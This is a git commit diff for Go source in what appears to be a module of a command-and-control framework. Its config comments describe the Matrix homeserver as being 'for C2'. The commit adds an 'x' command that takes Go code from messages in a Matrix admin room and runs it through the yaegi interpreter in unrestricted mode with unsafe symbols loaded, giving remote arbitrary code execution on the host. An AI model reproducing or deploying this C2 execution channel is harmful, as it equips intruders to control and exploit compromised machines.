chore: working x
command + some tweaks
This commit is contained in:
parent
a00212db51
commit
e0d92f4b55
|
@ -1,6 +1,75 @@
|
|||
package main
|
||||
|
||||
func ExecCmd(command string) (*string, error) {
|
||||
a := "Test"
|
||||
return &a, nil
|
||||
import (
|
||||
"fmt"
|
||||
"reflect"
|
||||
"strings"
|
||||
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
|
||||
"github.com/traefik/yaegi/interp"
|
||||
"github.com/traefik/yaegi/stdlib"
|
||||
"github.com/traefik/yaegi/stdlib/unsafe"
|
||||
)
|
||||
|
||||
func CmdX(ctx lib.CommandContext, arg string) (response string, errResponse error) {
|
||||
defer func() {
|
||||
if p := recover(); p != nil {
|
||||
errResponse = fmt.Errorf("command panicked: %e", p)
|
||||
}
|
||||
}()
|
||||
|
||||
i := interp.New(interp.Options{
|
||||
Unrestricted: true,
|
||||
})
|
||||
|
||||
stdlib.Symbols["wmp/wmp"] = map[string]reflect.Value{
|
||||
"CommandContext": reflect.ValueOf((*lib.CommandContext)(nil)),
|
||||
"Config": reflect.ValueOf((*lib.Config)(nil)),
|
||||
}
|
||||
i.Use(stdlib.Symbols)
|
||||
i.Use(unsafe.Symbols)
|
||||
|
||||
_, err := i.Eval(arg)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("could not evaluate due to error: %e", err)
|
||||
}
|
||||
|
||||
result, err := i.Eval("main.X")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("could not find `main.X`: %e", err)
|
||||
}
|
||||
|
||||
if !result.IsValid() {
|
||||
// The program didn't return anything for us to run, so assume everything
|
||||
// is done and notify the user.
|
||||
return "program did not return anything", nil
|
||||
}
|
||||
|
||||
communicator, ok := result.Interface().(func(lib.CommandContext) (string, error))
|
||||
if !ok {
|
||||
return "", fmt.Errorf("returned function was of incorrect type (%T)", result.Interface())
|
||||
}
|
||||
|
||||
return communicator(ctx)
|
||||
}
|
||||
|
||||
func CmdH(ctx lib.CommandContext, arg string) (string, error) {
|
||||
switch strings.ToLower(arg) {
|
||||
case "":
|
||||
return "", nil
|
||||
default:
|
||||
return "", fmt.Errorf("no help found for keyword `%s`", arg)
|
||||
}
|
||||
}
|
||||
|
||||
func ExecCmd(ctx lib.CommandContext, command string) (string, error) {
|
||||
keyword, arg, _ := strings.Cut(command, " ")
|
||||
switch strings.ToLower(keyword) {
|
||||
case "x":
|
||||
return CmdX(ctx, arg)
|
||||
case "h":
|
||||
return CmdH(ctx, arg)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("keyword `%s` not found, try `h` for help", keyword), nil
|
||||
}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
package main
|
||||
package lib
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
|
@ -19,37 +19,37 @@ const (
|
|||
|
||||
type Config struct {
|
||||
// The address of the homeserver to connect to for C2.
|
||||
homeserver string
|
||||
Homeserver string
|
||||
|
||||
// The username to authenticate to the HS with.
|
||||
username string
|
||||
Username string
|
||||
|
||||
// The password to authenticate to the HS with.
|
||||
password string
|
||||
Password string
|
||||
|
||||
// The Matrix room where administration occurs.
|
||||
adminRoom string
|
||||
AdminRoom string
|
||||
|
||||
// Private key to use as identity on the pinecone network.
|
||||
pineconeId string
|
||||
PineconeId string
|
||||
|
||||
// Whether to print pinecone's internal logs to stdout.
|
||||
logPinecone bool
|
||||
LogPinecone bool
|
||||
|
||||
// The address to listen for inbound pinecone connections on.
|
||||
pineconeInboundTcpAddr string
|
||||
PineconeInboundTcpAddr string
|
||||
|
||||
// The address to listen for inbound HTTP connections on (allows pinecone over websocket and pinecone debug endpoint if enabled).
|
||||
pineconeInboundWebAddr string
|
||||
PineconeInboundWebAddr string
|
||||
|
||||
// The HTTP path of the pinecone debug endpoint on the pinecone webserver (omit to disable).
|
||||
pineconeDebugEndpoint string
|
||||
PineconeDebugEndpoint string
|
||||
|
||||
// Comma-delimeted list of static peers to connect to.
|
||||
pineconeUseMulticast bool
|
||||
PineconeUseMulticast bool
|
||||
|
||||
// Whether to use multicast to discover pinecone peers on the local network.
|
||||
pineconeStaticPeers string
|
||||
PineconeStaticPeers string
|
||||
}
|
||||
|
||||
func (c *Config) Setup() {
|
||||
|
@ -64,32 +64,32 @@ func (c *Config) Setup() {
|
|||
// Save relevant env to config.
|
||||
//
|
||||
|
||||
c.homeserver = os.Getenv("WMP_HOMESERVER")
|
||||
c.username = os.Getenv("WMP_USERNAME")
|
||||
c.password = os.Getenv("WMP_PASSWORD")
|
||||
c.adminRoom = os.Getenv("WMP_ADMIN_ROOM")
|
||||
c.pineconeId = os.Getenv("WMP_ID_PINECONE")
|
||||
c.logPinecone = logPinecone
|
||||
c.pineconeInboundTcpAddr = os.Getenv("WMP_INBOUND_TCP_PINECONE")
|
||||
c.pineconeInboundWebAddr = os.Getenv("WMP_INBOUND_WEB_PINECONE")
|
||||
c.pineconeDebugEndpoint = os.Getenv("WMP_DEBUG_ENDPOINT_PINECONE")
|
||||
c.pineconeUseMulticast = pineconeUseMulticast
|
||||
c.pineconeStaticPeers = os.Getenv("WMP_STATIC_PEERS_PINECONE")
|
||||
c.Homeserver = os.Getenv("WMP_HOMESERVER")
|
||||
c.Username = os.Getenv("WMP_USERNAME")
|
||||
c.Password = os.Getenv("WMP_PASSWORD")
|
||||
c.AdminRoom = os.Getenv("WMP_ADMIN_ROOM")
|
||||
c.PineconeId = os.Getenv("WMP_ID_PINECONE")
|
||||
c.LogPinecone = logPinecone
|
||||
c.PineconeInboundTcpAddr = os.Getenv("WMP_INBOUND_TCP_PINECONE")
|
||||
c.PineconeInboundWebAddr = os.Getenv("WMP_INBOUND_WEB_PINECONE")
|
||||
c.PineconeDebugEndpoint = os.Getenv("WMP_DEBUG_ENDPOINT_PINECONE")
|
||||
c.PineconeUseMulticast = pineconeUseMulticast
|
||||
c.PineconeStaticPeers = os.Getenv("WMP_STATIC_PEERS_PINECONE")
|
||||
|
||||
//
|
||||
// Validate config.
|
||||
//
|
||||
|
||||
_, hsParseError := url.ParseRequestURI(c.homeserver)
|
||||
_, hsParseError := url.ParseRequestURI(c.Homeserver)
|
||||
if hsParseError != nil {
|
||||
panic("could not parse homeserver url")
|
||||
}
|
||||
|
||||
if c.username == "" || c.password == "" {
|
||||
if c.Username == "" || c.Password == "" {
|
||||
panic("please provide homeserver credentials")
|
||||
}
|
||||
|
||||
if c.adminRoom == "" {
|
||||
if c.AdminRoom == "" {
|
||||
panic("please provide an admin room id")
|
||||
}
|
||||
}
|
|
@ -1,4 +1,4 @@
|
|||
package main
|
||||
package lib
|
||||
|
||||
import (
|
||||
"sync"
|
12
cmd/pc3/lib/types.go
Normal file
12
cmd/pc3/lib/types.go
Normal file
|
@ -0,0 +1,12 @@
|
|||
package lib
|
||||
|
||||
import (
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/radio"
|
||||
"maunium.net/go/mautrix"
|
||||
)
|
||||
|
||||
type CommandContext struct {
|
||||
Config *Config
|
||||
Client *mautrix.Client
|
||||
Radio *radio.Radio
|
||||
}
|
|
@ -13,6 +13,7 @@ import (
|
|||
"syscall"
|
||||
"time"
|
||||
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/radio"
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
|
@ -23,22 +24,22 @@ func main() {
|
|||
// Create a struct to hold config values.
|
||||
//
|
||||
|
||||
c := Config{}
|
||||
c := lib.Config{}
|
||||
c.Setup()
|
||||
|
||||
//
|
||||
// Validate the config.
|
||||
//
|
||||
|
||||
if c.pineconeId == "" {
|
||||
if c.PineconeId == "" {
|
||||
fmt.Println("no pineconeId was specified; cannot continue")
|
||||
os.Exit(1)
|
||||
}
|
||||
if c.pineconeInboundTcpAddr == "" && c.pineconeInboundWebAddr == "" && !c.pineconeUseMulticast && c.pineconeStaticPeers == "" {
|
||||
if c.PineconeInboundTcpAddr == "" && c.PineconeInboundWebAddr == "" && !c.PineconeUseMulticast && c.PineconeStaticPeers == "" {
|
||||
fmt.Println("no way for peers to connect was specified; cannot continue")
|
||||
os.Exit(1)
|
||||
}
|
||||
pineconeIdBytes, err := hex.DecodeString(c.pineconeId)
|
||||
pineconeIdBytes, err := hex.DecodeString(c.PineconeId)
|
||||
if err != nil {
|
||||
fmt.Println("provided pineconeId was not a hex-encoded string; cannot continue")
|
||||
os.Exit(1)
|
||||
|
@ -53,15 +54,15 @@ func main() {
|
|||
pr := radio.GetInstance()
|
||||
|
||||
pr.SetPineconeIdentity(pineconeId)
|
||||
if c.logPinecone {
|
||||
if c.LogPinecone {
|
||||
pr.SetLogger(log.Default())
|
||||
}
|
||||
pr.SetInboundAddr(c.pineconeInboundTcpAddr)
|
||||
pr.SetWebserverAddr(c.pineconeInboundWebAddr)
|
||||
pr.SetWebserverDebugPath(c.pineconeDebugEndpoint)
|
||||
pr.SetUseMulticast(c.pineconeUseMulticast)
|
||||
if c.pineconeStaticPeers != "" {
|
||||
pr.SetStaticPeers(strings.Split(c.pineconeStaticPeers, ","))
|
||||
pr.SetInboundAddr(c.PineconeInboundTcpAddr)
|
||||
pr.SetWebserverAddr(c.PineconeInboundWebAddr)
|
||||
pr.SetWebserverDebugPath(c.PineconeDebugEndpoint)
|
||||
pr.SetUseMulticast(c.PineconeUseMulticast)
|
||||
if c.PineconeStaticPeers != "" {
|
||||
pr.SetStaticPeers(strings.Split(c.PineconeStaticPeers, ","))
|
||||
}
|
||||
|
||||
//
|
||||
|
@ -78,14 +79,18 @@ func main() {
|
|||
var matrixBotWait sync.WaitGroup
|
||||
client := MatrixBotInit(matrixBotCtx, c, &matrixBotWait)
|
||||
MatrixBotRunStartup(client, c)
|
||||
MatrixBotEventHandlerSetUp(client, c)
|
||||
MatrixBotEventHandlerSetUp(lib.CommandContext{
|
||||
Config: &c,
|
||||
Client: client,
|
||||
Radio: &pr,
|
||||
})
|
||||
|
||||
//
|
||||
// Main body.
|
||||
//
|
||||
|
||||
// Create a state storage struct.
|
||||
s := MkState()
|
||||
s := lib.MkState()
|
||||
|
||||
// Start pinecone.
|
||||
go pr.Start()
|
||||
|
@ -104,7 +109,7 @@ mainloop:
|
|||
case <-sigchan:
|
||||
break mainloop
|
||||
// Clean up state.
|
||||
case <-time.After(STATE_CLEANUP_INTERVAL):
|
||||
case <-time.After(lib.STATE_CLEANUP_INTERVAL):
|
||||
s.Prune()
|
||||
// Process incoming packets.
|
||||
case packet := <-recv:
|
||||
|
|
|
@ -9,6 +9,7 @@ import (
|
|||
"sync"
|
||||
"time"
|
||||
|
||||
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/cmd/pc3/lib"
|
||||
"maunium.net/go/mautrix"
|
||||
"maunium.net/go/mautrix/crypto/cryptohelper"
|
||||
"maunium.net/go/mautrix/event"
|
||||
|
@ -16,47 +17,50 @@ import (
|
|||
"maunium.net/go/mautrix/id"
|
||||
)
|
||||
|
||||
func MatrixBotRunStartup(client *mautrix.Client, c Config) {
|
||||
func MatrixBotRunStartup(client *mautrix.Client, c lib.Config) {
|
||||
// Make sure we're only ever in the admin room.
|
||||
rooms, err := client.JoinedRooms()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
for _, room := range rooms.JoinedRooms {
|
||||
if room.String() != c.adminRoom {
|
||||
if room.String() != c.AdminRoom {
|
||||
client.LeaveRoom(room)
|
||||
client.ForgetRoom(room)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func MatrixBotEventHandlerSetUp(client *mautrix.Client, c Config) {
|
||||
syncer := client.Syncer.(*mautrix.DefaultSyncer)
|
||||
func MatrixBotEventHandlerSetUp(ctx lib.CommandContext) {
|
||||
syncer := ctx.Client.Syncer.(*mautrix.DefaultSyncer)
|
||||
|
||||
// Messages.
|
||||
syncer.OnEventType(event.EventMessage, func(source mautrix.EventSource, evt *event.Event) {
|
||||
if evt.RoomID == id.RoomID(c.adminRoom) {
|
||||
if evt.RoomID == id.RoomID(ctx.Config.AdminRoom) {
|
||||
// Mark any messages in the admin room as read.
|
||||
client.SendReceipt(evt.RoomID, evt.ID, event.ReceiptTypeRead, nil)
|
||||
ctx.Client.SendReceipt(evt.RoomID, evt.ID, event.ReceiptTypeRead, nil)
|
||||
|
||||
if message, ok := evt.Content.Parsed.(*event.MessageEventContent); ok {
|
||||
if command := strings.TrimPrefix(message.Body, "!wmp "); command != message.Body {
|
||||
// If the message starts with the command prefix, start
|
||||
// typing to indicate that we're processing the message.
|
||||
defer client.UserTyping(evt.RoomID, false, time.Microsecond*1)
|
||||
client.UserTyping(evt.RoomID, true, time.Minute*1)
|
||||
defer ctx.Client.UserTyping(evt.RoomID, false, time.Microsecond*1)
|
||||
ctx.Client.UserTyping(evt.RoomID, true, time.Minute*1)
|
||||
|
||||
if replyText, err := ExecCmd(command); replyText != nil {
|
||||
// If there is a reply, send it.
|
||||
reply := format.RenderMarkdown(*replyText, true, true)
|
||||
reply.SetReply(evt)
|
||||
client.SendMessageEvent(evt.RoomID, event.EventMessage, reply)
|
||||
} else if err != nil {
|
||||
// If there is no reply but there is an error, react with nack.
|
||||
client.SendReaction(evt.RoomID, evt.ID, "❌")
|
||||
replyText, err := ExecCmd(ctx, command)
|
||||
if err == nil {
|
||||
ctx.Client.SendReaction(evt.RoomID, evt.ID, "✅")
|
||||
} else {
|
||||
// Otherwise, react with ack.
|
||||
client.SendReaction(evt.RoomID, evt.ID, "✅")
|
||||
ctx.Client.SendReaction(evt.RoomID, evt.ID, "❌")
|
||||
|
||||
errReply := format.RenderMarkdown(err.Error(), true, true)
|
||||
errReply.SetReply(evt)
|
||||
ctx.Client.SendMessageEvent(evt.RoomID, event.EventMessage, errReply)
|
||||
}
|
||||
if replyText != "" {
|
||||
reply := format.RenderMarkdown(replyText, true, true)
|
||||
reply.SetReply(evt)
|
||||
ctx.Client.SendMessageEvent(evt.RoomID, event.EventMessage, reply)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -65,20 +69,20 @@ func MatrixBotEventHandlerSetUp(client *mautrix.Client, c Config) {
|
|||
|
||||
// Invites.
|
||||
syncer.OnEventType(event.StateMember, func(source mautrix.EventSource, evt *event.Event) {
|
||||
if evt.GetStateKey() == client.UserID.String() && evt.Content.AsMember().Membership == event.MembershipInvite {
|
||||
if evt.RoomID == id.RoomID(c.adminRoom) {
|
||||
client.JoinRoomByID(evt.RoomID)
|
||||
if evt.GetStateKey() == ctx.Client.UserID.String() && evt.Content.AsMember().Membership == event.MembershipInvite {
|
||||
if evt.RoomID == id.RoomID(ctx.Config.AdminRoom) {
|
||||
ctx.Client.JoinRoomByID(evt.RoomID)
|
||||
} else {
|
||||
client.LeaveRoom(evt.RoomID)
|
||||
client.ForgetRoom(evt.RoomID)
|
||||
ctx.Client.LeaveRoom(evt.RoomID)
|
||||
ctx.Client.ForgetRoom(evt.RoomID)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func MatrixBotInit(ctx context.Context, c Config, wg *sync.WaitGroup) *mautrix.Client {
|
||||
func MatrixBotInit(ctx context.Context, c lib.Config, wg *sync.WaitGroup) *mautrix.Client {
|
||||
// Connect to Matrix homeserver.
|
||||
client, err := mautrix.NewClient(c.homeserver, "", "")
|
||||
client, err := mautrix.NewClient(c.Homeserver, "", "")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
@ -96,9 +100,9 @@ func MatrixBotInit(ctx context.Context, c Config, wg *sync.WaitGroup) *mautrix.C
|
|||
|
||||
cryptoHelper.LoginAs = &mautrix.ReqLogin{
|
||||
Type: mautrix.AuthTypePassword,
|
||||
Identifier: mautrix.UserIdentifier{Type: mautrix.IdentifierTypeUser, User: c.username},
|
||||
Identifier: mautrix.UserIdentifier{Type: mautrix.IdentifierTypeUser, User: c.Username},
|
||||
InitialDeviceDisplayName: "WMP-" + fmt.Sprint(time.Now().Unix()),
|
||||
Password: c.password,
|
||||
Password: c.Password,
|
||||
StoreHomeserverURL: true,
|
||||
}
|
||||
|
||||
|
|
1
go.mod
1
go.mod
|
@ -10,6 +10,7 @@ require (
|
|||
github.com/gorilla/websocket v1.5.0
|
||||
github.com/matrix-org/pinecone v0.11.1-0.20230210171230-8c3b24f2649a
|
||||
github.com/mattn/go-sqlite3 v1.14.17
|
||||
github.com/traefik/yaegi v0.15.1
|
||||
maunium.net/go/mautrix v0.15.2
|
||||
)
|
||||
|
||||
|
|
2
go.sum
2
go.sum
|
@ -100,6 +100,8 @@ github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
|
|||
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY=
|
||||
github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28=
|
||||
github.com/traefik/yaegi v0.15.1 h1:YA5SbaL6HZA0Exh9T/oArRHqGN2HQ+zgmCY7dkoTXu4=
|
||||
github.com/traefik/yaegi v0.15.1/go.mod h1:AVRxhaI2G+nUsaM1zyktzwXn69G3t/AuTDrCiTds9p0=
|
||||
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
|
|
Loading…
Reference in New Issue
Block a user